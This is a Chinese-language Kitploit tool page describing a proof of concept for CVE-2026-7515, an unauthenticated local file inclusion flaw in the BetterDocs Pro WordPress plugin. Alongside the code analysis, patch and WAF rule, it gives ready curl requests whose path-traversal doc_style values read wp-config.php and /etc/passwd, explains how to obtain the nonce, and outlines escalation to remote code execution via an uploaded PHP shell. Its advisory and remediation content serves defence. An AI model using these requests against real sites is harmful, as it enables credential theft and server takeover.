Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — 未认证的本地文件包含 | Kitploit
工具/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

未认证的本地文件包含

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
142个月前尚未审核
分享

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - 未认证的本地文件包含

概述

字段值
CVE IDCVE-2026-7515
CVSS 分数9.8 (严重)
CVSS 向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
受影响版本BetterDocs Pro <= 3.8.0
修复版本3.8.1
研究人员Nguyen Ngoc Duc (duc193)
发布日期2026年6月18日
CWECWE-98: 文件包含/请求语句的文件名控制不当

漏洞描述

WordPress 的 BetterDocs Pro 插件在 3.8.0 及之前版本中存在本地文件包含漏洞,通过 doc_style 参数。这允许未认证的攻击者在服务器上包含并执行任意 PHP 文件。

污点分析:源 → 汇

源(用户输入)

文件: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php 行: 141

root@kitploit:~
// 漏洞代码 (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

问题: 来自 $_POST['doc_style'] 的用户可控输入被直接使用,未进行任何验证。

汇(危险函数)

文件: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php 行: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

问题: 变量 $doc_style(用户可控)被直接插值到传递给 views->get() 的文件路径中,从而包含该文件。

数据流

root@kitploit:~
HTTP POST 请求
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
无验证(受影响版本 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
通过 include() 或 require() 进行文件包含
        ↓
任意 PHP 代码执行 / 文件读取

差异:受影响版本 vs 修复版本

受影响版本 3.8.0

root@kitploit:~
// includes/Core/Encyclopedia.php 第 141 行
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

修复版本 3.8.1

root@kitploit:~
// includes/Core/Encyclopedia.php 第 145-148 行
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

关键差异

受影响的 AJAX 端点

两个端点均使用 nopriv 钩子注册,这意味着未认证用户可以访问:

root@kitploit:~
// 第 17-18 行
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// 第 20-21 行
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

端点:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

概念验证

前提条件

  • 有效的 encyclopedia_nonce(在包含 BetterDocs 百科知识图块的页面的页面源代码中找到)

手动利用

root@kitploit:~
# 步骤 1:读取 wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# 步骤 2:读取 /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

查找 Nonce

encyclopedia_nonce 在渲染了 BetterDocs 百科知识图块的页面上的 JavaScript 中暴露:

root@kitploit:~
// in betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- 你需要这个
};

从 LFI 到 RCE 的路径

  1. 读取 wp-config.php - 提取数据库凭据
  2. 上传 PHP 外壳 - 通过 WordPress 媒体上传或主题编辑器
  3. 包含恶意文件 - 通过 LFI 漏洞
  4. 执行代码 - 获得远程代码执行

影响

补救措施

主要修复

更新到 BetterDocs Pro 3.8.1 或更高版本

手动修复(如果无法更新)

将以下补丁应用于 includes/Core/Encyclopedia.php:

root@kitploit:~
// 将第 141 行替换为:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

对第 236 行应用相同的修复。

WAF 规则(临时缓解措施)

添加规则以阻止 doc_style 参数中的路径遍历:

root@kitploit:~
# 阻止包含路径遍历模式的 doc_style
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"

参考资料

  • Wordfence Intelligence
  • BetterDocs Official
  • CVE Details
  • WPVDB

分析的文件

root@kitploit:~
受影响版本: betterdocs-pro_3.8.0.zip
修复版本:   betterdocs-pro_3.9.0.zip

关键文件:
- includes/Core/Encyclopedia.php    (含漏洞)
- includes/Core/Scripts.php         (包含 nonce 生成)
- includes/Utils/Views.php          (文件包含逻辑)
下载工具
方面受影响版本 (3.8.0)修复版本 (3.8.1)
验证无使用 in_array() 的白名单
允许的值任意字符串仅 doc-grid, doc-list, doc-list-2
类型检查否严格 (===) 比较
影响类型严重性描述
机密性高读取任意文件(wp-config.php、/etc/passwd 等)
完整性高修改或删除文件
可用性高拒绝服务
访问向量网络可远程利用
权限无无需认证
用户交互无不需要